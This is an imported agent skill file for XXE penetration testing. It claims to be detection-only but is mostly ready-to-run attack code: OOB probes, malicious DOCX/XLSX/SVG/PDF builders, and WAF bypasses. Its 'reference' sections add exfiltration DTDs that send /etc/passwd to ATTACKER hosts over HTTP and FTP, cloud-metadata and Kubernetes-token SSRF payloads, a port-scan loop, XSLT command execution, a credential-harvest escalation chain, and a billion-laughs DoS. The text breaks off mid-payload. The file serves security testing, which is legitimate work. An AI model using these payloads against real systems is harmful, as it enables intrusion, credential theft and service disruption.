Imported from jayjpatel9717/kurukshetra_updated (
squads/pentest/agents/kritavarma/skills/xxe-testing/SKILL.md). Install upstream withnpx skills add jayjpatel9717/kurukshetra_updated --skill xxe-testing. Copyright stays with the author.
XXE Testing — KRITAVARMA 🏹
Role
XML External Entity (XXE) injection specialist. Detects XXE vulnerabilities across all XML-accepting surfaces — file uploads, REST APIs, SOAP services, RSS feeds, and JSON endpoints susceptible to Content-Type switching. Confirms via OOB DNS/HTTP callback. Detection only — no file read, no data exfiltration.
Trigger Phrases
- "XXE", "XML external entity", "XML injection", "entity injection"
- "SVG upload", "DOCX upload", "XLSX upload", "XML file upload"
- "SOAP injection", "XML API", "OOB XXE", "blind XXE"
- "external entity", "DOCTYPE injection", "DTD injection"
(MANDATORY) Detection-First Philosophy
This agent operates in DETECTION mode only. Never in exploitation mode.
The Rule: Probe → Observe → Classify → Stop
Step 1: Send minimal XXE probe with OOB callback URL
Step 2: Observe — DNS/HTTP callback received? Error in response? Behavior change?
Step 3: Classify: Suspected / Not Vulnerable
Step 4: If suspected → document with evidence, mark for KRIPA validation
Step 5: STOP — do not read files, do not extract data, do not escalate
DO NOT
- ❌ File read payloads (
file:///etc/passwd) - ❌ SSRF via XXE to internal metadata endpoints
- ❌ Blind XXE file exfiltration via OOB DTD
- ❌ Automated payload floods
- ❌ Nested entity bombs (DoS risk)
DO
- ✅ Single minimal OOB probe first (DNS callback URL only)
- ✅ Observe DNS/HTTP callback at interaction server
- ✅ Try 2-3 surface variants (SVG, XML body, SOAP)
- ✅ Mark finding as "Suspected" with callback evidence
- ✅ Pass to KRIPA for validation
Finding Status You Can Assign
- Suspected-High — OOB DNS/HTTP callback confirmed
- Suspected-Medium — Response behavior changed (error, delay, different status)
- Not Vulnerable — No callback, no behavior change after 3 probes
XML Attack Surfaces
Surfaces That Accept XML (Generic)
[1] FILE UPLOAD ENDPOINTS
├── SVG image upload (browsers render SVG; parsers often process DOCTYPE)
├── XML file upload (direct XML import/export features)
├── DOCX / XLSX / PPTX upload (Office Open XML = ZIP containing XML files)
│ ├── DOCX: word/document.xml — inject into content XML
│ ├── XLSX: xl/sharedStrings.xml or xl/workbook.xml
│ └── ODT/ODS: content.xml
├── PDF upload (some PDF processors use XML internally)
└── Any "import" feature accepting structured file formats
[2] REST API ENDPOINTS
├── JSON endpoints — try switching Content-Type to application/xml
├── Endpoints with Content-Type: application/xml or text/xml explicitly
├── Endpoints that accept both JSON and XML (content negotiation)
└── API import/export endpoints
[3] SOAP WEB SERVICES
├── Any WSDL-described service endpoint
├── Legacy enterprise APIs (financial, healthcare, ERP integrations)
├── Endpoints under /soap, /ws, /wsdl, /services, /api/soap
└── HTTP POST requests with SOAPAction header
[4] RSS / ATOM / SITEMAP FEEDS
├── Endpoints that parse RSS/Atom feed URLs submitted by users
├── Feed aggregator import features
├── Sitemap.xml processors
└── Podcast/content import features
[5] OTHER XML SURFACES
├── Configuration upload endpoints
├── Database import (SQL/XML combined formats)
├── Chart/graph data import (SVG/XML-based charting libraries)
├── E-commerce order import (EDI, cXML)
└── Any feature where the backend parses user-controlled XML
Content-Type Probing for Hidden XML Surfaces
Many JSON endpoints secretly accept XML if Content-Type is switched:
# Original JSON request
POST /api/user/update
Content-Type: application/json
{"name": "test"}
# Switch to XML — does it parse?
POST /api/user/update
Content-Type: application/xml
<user><name>test</name></user>
# If response changes or parses → XML parser active → test for XXE
Probe sequence:
- Identify a JSON endpoint accepting structured POST data
- Resend with
Content-Type: application/xmland equivalent XML body - If response reflects XML structure or doesn't reject with 415 → XML parser is active
- Proceed with XXE probe on that endpoint
XXE Detection Payloads
Classic XXE Minimal Probe (OOB Only — Safe)
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/xxe-probe">]>
<root>&xxe;</root>
Replace YOUR_CALLBACK_DOMAIN with:
- Burp Collaborator:
UNIQUE_ID.burpcollaborator.net - interactsh:
UNIQUE_ID.oast.funorUNIQUE_ID.interact.sh - custom server you control:
xxe.yourdomain.com
Evidence of XXE: HTTP request or DNS lookup received at callback server.
SVG XXE (File Upload)
Upload this as test.svg to image upload endpoints:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/svg-xxe">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>
Why SVG: Browsers and server-side image processors (ImageMagick, Batik, librsvg) often parse SVG DOCTYPE.
Probe Checklist for File Uploads:
- Upload as
image/svg+xml - Upload as
image/pngwith SVG content (content-type bypass) - Upload as
text/xmldirectly - If DOCX accepted: inject into
word/document.xmlinside zip
DOCX/XLSX XXE (Office File Upload)
Create a test DOCX/XLSX with OOB entity probe:
# Step 1: Create zip structure (DOCX = ZIP)
mkdir -p /tmp/xxe-docx/word
cat > /tmp/xxe-docx/word/document.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/docx-xxe">]>
<w:document xmlns:wpc="..." xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
EOF
# Step 2: Package as DOCX
cd /tmp/xxe-docx && zip -r ../test-xxe.docx .
# Step 3: Upload test-xxe.docx to upload endpoint
Blind XXE via OOB DNS Callback
When classic entity injection is blocked, use parameter entities for OOB:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/blind-xxe">
%xxe;
]>
<root>test</root>
Parameter entity (%xxe) is evaluated during DOCTYPE parsing — triggers even if &entity; references are filtered from element content.
Error-Based XXE Detection
Force an error that leaks template engine/parser behavior in response:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/error-xxe">
%xxe;
]>
<root>test</root>
Detection signal: 500 error or unusual response body, OR callback received at YOUR_CALLBACK_DOMAIN.
SOAP XXE
Inject into SOAP envelope body:
POST /soap/endpoint HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:action"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soap:Envelope [
<!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/soap-xxe">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetData><Value>&xxe;</Value></GetData>
</soap:Body>
</soap:Envelope>
XXE via JSON API Content-Type Switch
# Step 1: Identify JSON POST endpoint
POST /api/import
Content-Type: application/json
{"data": "value"}
# Step 2: Switch Content-Type and send XML with XXE probe
POST /api/import
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/json-api-xxe">]>
<data><field>test</field></data>
# Step 3: Also try Content-Type: text/xml
Signal: Different HTTP status (200 vs 415), different response body, or callback received.
Bypass Techniques for Filtered XXE
<!-- Character encoding bypass (UTF-16) -->
# Convert payload to UTF-16LE encoding before sending
<!-- Parameter entity when direct entities blocked -->
<!DOCTYPE foo [
<!ENTITY % p "<!ENTITY xxe SYSTEM 'http://CALLBACK'>">
%p;
]>
<root>&xxe;</root>
<!-- Nested encoding: HTML entity for % -->
<!ENTITY % xxe SYSTEM "http://CALLBACK">
<!-- Using local DTD file repurposing (when external DTD blocked) -->
<!-- Reference known local DTD then redefine entities within it -->
<!-- XInclude (when DOCTYPE blocked but xinclude allowed) -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://CALLBACK/xi"/>
</root>
Tool Commands
# Set up OOB callback listener
interactsh-client -v
# OR use Burp Collaborator / canarytokens.org
# Test REST endpoint with XXE probe
curl -s -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://CALLBACK_DOMAIN/test">]><root>&xxe;</root>' \
-o /tmp/xxe-resp.txt -w "%{http_code}"
# Content-type switch probe
curl -s -X POST "https://TARGET/api/json-endpoint" \
-H "Content-Type: application/xml" \
-d '<root><field>test</field></root>'
# SVG upload
curl -s -X POST "https://TARGET/upload" \
-F "file=@/tmp/test.svg;type=image/svg+xml" \
-b "session=COOKIE"
# SOAP endpoint probe
curl -s -X POST "https://TARGET/soap" \
-H "Content-Type: text/xml" \
-H "SOAPAction: test" \
-d @/tmp/soap-xxe.xml
# Check WSDL for SOAP endpoints
curl -s "https://TARGET/service?wsdl" | grep -i "operation\|binding\|port"
Severity Classification
| Finding | CVSS | Rating |
|---|---|---|
| XXE with file read confirmed (eg /etc/passwd) | 9.1 | Critical |
| XXE with SSRF to internal network/metadata | 8.8 | Critical |
| Blind XXE (OOB DNS/HTTP callback confirmed) | 7.5 | High |
| Error-based XXE (path/error leaked) | 6.5 | Medium |
| XXE in file upload (no OOB, behavior change) | 5.5 | Medium |
| XML parser accepts DOCTYPE (no callback yet) | 3.5 | Low/Info |
CVSS Scoring Guide
| Metric | Typical Value for XXE | Notes |
|---|---|---|
| Attack Vector | Network (N) | Over HTTP |
| Attack Complexity | Low (L) | Standard XML payload |
| Privileges Required | Low (L) / None (N) | L if authenticated endpoint |
| User Interaction | None (N) | Server parses automatically |
| Scope | Changed (C) | File system / network access |
| Confidentiality | High (H) | File read, credentials |
| Integrity | Low (L) | Read-only in detection |
| Availability | Low (L) | DoS via entity expansion possible |
Base Score (Blind OOB): ~7.5 (High) Base Score (File Read): ~9.1 (Critical)
XXE via File Upload (Advanced)
SVG with External Stylesheet XXE
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "http://CALLBACK/svg-style-xxe">
]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<style>&xxe;</style>
<rect width="100" height="100"/>
</svg>
SVG via xlink:href (When DOCTYPE Is Blocked)
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://CALLBACK/svg-xlink-xxe" width="100" height="100"/>
</svg>
SVG via foreignObject
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://CALLBACK/svg-foreign">]>
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100" height="100">
<body xmlns="http://www.w3.org/1999/xhtml">&xxe;</body>
</foreignObject>
</svg>
DOCX XXE (Full Working Example)
# Create minimal DOCX structure
mkdir -p /tmp/xxe-docx/word /tmp/xxe-docx/_rels
# Content Types
cat > /tmp/xxe-docx/'[Content_Types].xml' << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>
XMLEOF
# Relationships
cat > /tmp/xxe-docx/_rels/.rels << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>
XMLEOF
# Malicious document.xml with XXE
cat > /tmp/xxe-docx/word/document.xml << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/docx-xxe">]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
XMLEOF
# Package
cd /tmp/xxe-docx && zip -r /tmp/test-xxe.docx . && cd -
# Upload
curl -s -X POST "https://TARGET/upload" \
-F "file=@/tmp/test-xxe.docx;type=application/vnd.openxmlformats-officedocument.wordprocessingml.document" \
-b "session=COOKIE"
XLSX XXE
# Create minimal XLSX structure
mkdir -p /tmp/xxe-xlsx/xl /tmp/xxe-xlsx/_rels
cat > /tmp/xxe-xlsx/'[Content_Types].xml' << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
</Types>
XMLEOF
cat > /tmp/xxe-xlsx/_rels/.rels << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>
XMLEOF
# Malicious workbook.xml
cat > /tmp/xxe-xlsx/xl/workbook.xml << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/xlsx-xxe">]>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">&xxe;</sheet></sheets>
</workbook>
XMLEOF
cd /tmp/xxe-xlsx && zip -r /tmp/test-xxe.xlsx . && cd -
curl -s -X POST "https://TARGET/upload" \
-F "file=@/tmp/test-xxe.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" \
-b "session=COOKIE"
PDF with Embedded XML (XFA Forms)
Some PDF processors parse XFA (XML Forms Architecture):
<!-- Embed in PDF XFA stream -->
<?xml version="1.0"?>
<!DOCTYPE xfa [<!ENTITY xxe SYSTEM "http://CALLBACK/pdf-xfa-xxe">]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template>&xxe;</template>
</xdp:xdp>
# Use a tool to create PDF with XFA payload
# Or manually inject into an existing PDF's XFA stream
# Then upload:
curl -s -X POST "https://TARGET/upload" \
-F "file=@/tmp/test-xxe.pdf;type=application/pdf" \
-b "session=COOKIE"
OOB XXE Exfiltration Techniques (Reference — Detection Agent Does NOT Execute)
Documented for severity classification. KRITAVARMA only sends detection probes with callback URLs, never file-read payloads.
Parameter Entity OOB Exfiltration
<!-- Step 1: Host this DTD on attacker server as evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://CALLBACK/?data=%file;'>">
%eval;
%exfil;
<!-- Step 2: Send this payload to target -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">
%xxe;
]>
<root>test</root>
FTP-Based OOB Exfiltration
FTP exfil works when HTTP outbound is blocked but FTP is allowed:
<!-- evil.dtd hosted on attacker -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://ATTACKER:2121/%file;'>">
%eval;
%exfil;
<!-- Target payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ATTACKER/evil-ftp.dtd">
%xxe;
]>
<root>test</root>
# Run FTP listener on attacker to capture data
# Using xxeserv or ruby one-liner:
ruby -rsocket -e 'f=TCPServer.new(2121);loop{c=f.accept;puts c.gets;c.puts "220 OK\r\n";loop{d=c.gets;puts d;c.puts "230 OK\r\n" if d=~/USER/;c.puts "230 OK\r\n" if d=~/PASS/;c.puts "257 /\r\n" if d=~/PWD|CWD/;c.puts "227 (127,0,0,1,0,0)\r\n" if d=~/PASV/;break if d=~/QUIT/}}'
Error-Based Exfiltration
When OOB is blocked, force errors that include file content:
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- Target payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ATTACKER/error.dtd">
%xxe;
]>
<root>test</root>
Result: Error message like java.io.FileNotFoundException: /nonexistent/actual-hostname-value
Blind XXE Detection (Advanced)
DNS Callback Detection
<!-- Most reliable blind detection — DNS always resolves -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://UNIQUE_ID.CALLBACK_DOMAIN/blind-dns">
%xxe;
]>
<root>test</root>
# Using interactsh
interactsh-client -v 2>&1 | tee /tmp/xxe-callbacks.log &
# Send probe
curl -s -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://UNIQUE_ID.oast.fun/dns-test">%xxe;]><root>test</root>'
# Check callbacks
grep "UNIQUE_ID" /tmp/xxe-callbacks.log
HTTP Callback Detection
# Start simple HTTP listener
python3 -m http.server 8888 &
# Send probe referencing your listener
curl -s -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR_IP:8888/xxe-confirm">]><root>&xxe;</root>'
# Check listener output for incoming request from target
Error-Based Detection (No OOB)
<!-- Force parser error to confirm DOCTYPE processing -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///nonexistent_file_xxe_test_12345">
%xxe;
]>
<root>test</root>
Signal: Error response containing "file not found" / "FileNotFoundException" / path reference = parser processes external entities.
<!-- Recursive entity to detect parser behavior -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY a "xxe">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
]>
<root>&b;</root>
Signal: If "xxexxexxe..." in response = entities resolved. If error about entity depth = parser processes but limits recursion.
XXE in JSON APIs (Content-Type Switch — Detailed)
Step-by-Step JSON → XML Switch
# 1. Capture normal JSON request
curl -s -X POST "https://TARGET/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","email":"test@test.com"}' \
-o /tmp/json-resp.txt -w "\n%{http_code}\n%{content_type}"
# 2. Convert JSON to XML equivalent
curl -s -X POST "https://TARGET/api/users" \
-H "Content-Type: application/xml" \
-d '<root><username>test</username><email>test@test.com</email></root>' \
-o /tmp/xml-resp.txt -w "\n%{http_code}\n%{content_type}"
# 3. If Step 2 doesn't return 415 → XML parser active, add XXE probe
curl -s -X POST "https://TARGET/api/users" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/json-api-xxe">]><root><username>&xxe;</username><email>test@test.com</email></root>' \
-o /tmp/xxe-resp.txt -w "\n%{http_code}"
# 4. Also try text/xml
curl -s -X POST "https://TARGET/api/users" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/json-text-xml">]><root><username>&xxe;</username></root>'
# 5. Try with charset specification
curl -s -X POST "https://TARGET/api/users" \
-H "Content-Type: application/xml; charset=utf-8" \
-d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/json-charset">]><root><username>&xxe;</username></root>'
Content-Type Variants to Try
application/xml
text/xml
application/xhtml+xml
application/soap+xml
application/rss+xml
application/atom+xml
application/x-www-form-urlencoded → then send XML in body
XXE in SOAP (Advanced)
WSDL Discovery and Injection
# Discover SOAP endpoints
curl -s "https://TARGET/service?wsdl" -o /tmp/wsdl.xml
curl -s "https://TARGET/ws?wsdl" -o /tmp/wsdl2.xml
curl -s "https://TARGET/soap?wsdl" -o /tmp/wsdl3.xml
curl -s "https://TARGET/services?wsdl" -o /tmp/wsdl4.xml
curl -s "https://TARGET/api/soap?wsdl" -o /tmp/wsdl5.xml
# Parse WSDL for operations
grep -iE "operation name|binding|portType|service name" /tmp/wsdl.xml
# Extract SOAP endpoint URL from WSDL
grep -i "location" /tmp/wsdl.xml
SOAP Body XXE
curl -s -X POST "https://TARGET/soap/service" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"urn:GetUserInfo\"" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soap:Envelope [
<!ENTITY xxe SYSTEM "http://CALLBACK/soap-body-xxe">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserInfo xmlns="http://target.com/ws">
<UserId>&xxe;</UserId>
</GetUserInfo>
</soap:Body>
</soap:Envelope>'
SOAP Header XXE
curl -s -X POST "https://TARGET/soap/service" \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"urn:action\"" \
-d '<?xml version="1.0"?>
<!DOCTYPE soap:Envelope [
<!ENTITY xxe SYSTEM "http://CALLBACK/soap-header-xxe">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<Auth xmlns="http://target.com/ws">
<Token>&xxe;</Token>
</Auth>
</soap:Header>
<soap:Body>
<GetData xmlns="http://target.com/ws"/>
</soap:Body>
</soap:Envelope>'
WSDL Injection (External WSDL Reference)
If the application imports WSDL from user-supplied URL:
# Host malicious WSDL
# malicious.wsdl contains XXE in its types/schema section
curl -s -X POST "https://TARGET/api/soap/import" \
-H "Content-Type: application/json" \
-d '{"wsdl_url": "http://ATTACKER/malicious.wsdl"}'
SSRF via XXE
Using SYSTEM Entity to Probe Internal Network
<!-- AWS metadata -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
<!-- GCP metadata -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/?recursive=true">
]>
<root>&xxe;</root>
<!-- Internal services scan -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<root>&xxe;</root>
<!-- Kubernetes API -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://kubernetes.default.svc/api/v1/namespaces">
]>
<root>&xxe;</root>
Port Scanning via XXE
# Scan common internal ports — detect via response time or error differences
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
echo "Testing port $port..."
curl -s -X POST "https://TARGET/api/xml" \
-H "Content-Type: application/xml" \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root>&xxe;</root>" \
-o /dev/null -w "Port $port: HTTP %{http_code}, Time: %{time_total}s\n"
done
SSRF High-Value Targets
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → AWS IAM role creds
http://169.254.169.254/latest/user-data → AWS user data (may contain secrets)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token → GCP access token
http://169.254.169.254/metadata/v1/ → DigitalOcean metadata
http://169.254.169.254/openstack/latest/meta_data.json → OpenStack metadata
http://127.0.0.1:2379/v2/keys/ → etcd key store
http://127.0.0.1:8500/v1/kv/?recurse → Consul KV store
http://127.0.0.1:6379/INFO → Redis info
http://127.0.0.1:9200/_cluster/settings → Elasticsearch
http://127.0.0.1:27017/ → MongoDB
file:///var/run/secrets/kubernetes.io/serviceaccount/token → K8s SA token
file:///proc/self/environ → Environment variables
Modern XXE Variants
XInclude Injection (When DOCTYPE Is Blocked)
When the application blocks <!DOCTYPE> but processes XML:
<!-- XInclude — doesn't need DOCTYPE -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://CALLBACK/xinclude-xxe" parse="text"/>
</root>
curl -s -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/xml" \
-d '<root xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://CALLBACK/xinclude" parse="text"/></root>'
XInclude for File Read (Reference Only)
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
XSLT Injection
If the application applies XSLT transformations on user-supplied XML:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="http://CALLBACK/xslt-xxe"?>
<root>test</root>
XSLT with embedded code execution:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="execObj" select="rt:exec($rtObj,'id')"/>
<xsl:value-of select="$execObj"/>
</xsl:template>
</xsl:stylesheet>
# Test if XSLT processing is enabled
curl -s -X POST "https://TARGET/api/transform" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="http://CALLBACK/xslt-probe"?><root>test</root>'
XML Schema Poisoning
If the application validates against external XSD:
<?xml version="1.0"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://CALLBACK/schema-xxe.xsd">
<data>test</data>
</root>
curl -s -X POST "https://TARGET/api/validate" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://CALLBACK/schema-probe.xsd"><data>test</data></root>'
SSML Injection (Speech Synthesis Markup)
Applications using text-to-speech may parse SSML (XML-based):
<?xml version="1.0"?>
<!DOCTYPE speak [<!ENTITY xxe SYSTEM "http://CALLBACK/ssml-xxe">]>
<speak version="1.0" xmlns="http://www.w3.org/2001/10/synthesis">
<prosody>&xxe;</prosody>
</speak>
XML-RPC XXE
<?xml version="1.0"?>
<!DOCTYPE methodCall [
<!ENTITY xxe SYSTEM "http://CALLBACK/xmlrpc-xxe">
]>
<methodCall>
<methodName>&xxe;</methodName>
<params><param><value>test</value></param></params>
</methodCall>
curl -s -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><!DOCTYPE methodCall [<!ENTITY xxe SYSTEM "http://CALLBACK/xmlrpc">]><methodCall><methodName>&xxe;</methodName><params><param><value>test</value></param></params></methodCall>'
XXE Chaining
XXE → SSRF → Internal API → Privilege Escalation
Step 1: Confirm XXE via OOB callback
→ DNS/HTTP callback received
Step 2: Use XXE SSRF to discover internal services
→ Probe 127.0.0.1:8080, 127.0.0.1:3000, etc.
→ Probe cloud metadata (169.254.169.254)
Step 3: Read internal API responses via XXE
→ If response is reflected: direct SYSTEM entity read
→ If blind: use OOB exfil chain (parameter entity → external DTD → FTP/HTTP)
Step 4: Extract credentials
→ AWS metadata → IAM role credentials
→ K8s service account token → kubectl access
→ Internal admin API → auth bypass
→ Environment variables → database passwords
Step 5: Escalate
→ Use extracted creds to access other services
→ K8s token → pod exec → container escape
→ AWS creds → S3/EC2/Lambda access
XXE → File Read → Credential Harvest
<!-- Read .env file via direct XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/.env">]>
<root>&xxe;</root>
<!-- If multi-line files fail, use PHP filter (PHP apps only) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/app/.env">]>
<root>&xxe;</root>
<!-- Java: use jar protocol for multi-line -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///app/config.properties!/">]>
<root>&xxe;</root>
XXE → DoS (Billion Laughs — Reference Only, Never Execute)
<!-- Exponential entity expansion — DO NOT SEND, reference only -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- ... escalates exponentially ... -->
]>
<root>&lol9;</root>
<!-- This is documented to understand why parsers limit entity expansion -->
Advanced Bypass Techniques
UTF-16 Encoding Bypass
# Convert XML payload to UTF-16 to bypass WAF string matching
echo '<?xml version="1.0" encoding="UTF-16"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/utf16">]><root>&xxe;</root>' | iconv -f UTF-8 -t UTF-16LE > /tmp/xxe-utf16.xml
curl -s -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/xml; charset=utf-16" \
--data-binary @/tmp/xxe-utf16.xml
UTF-7 Encoding Bypass
<?xml version="1.0" encoding="UTF-7"?>
+ADw-!DOCTYPE foo +AFs-+ADw-!ENTITY xxe SYSTEM +ACI-http://CALLBACK/utf7+ACI-+AD4-+AF0-+AD4-
+ADw-root+AD4-+ACY-xxe+ADs-+ADw-/root+AD4-
Local DTD Repurposing (When External DTD Blocked)
<!-- Use a known local DTD file to redefine entities -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
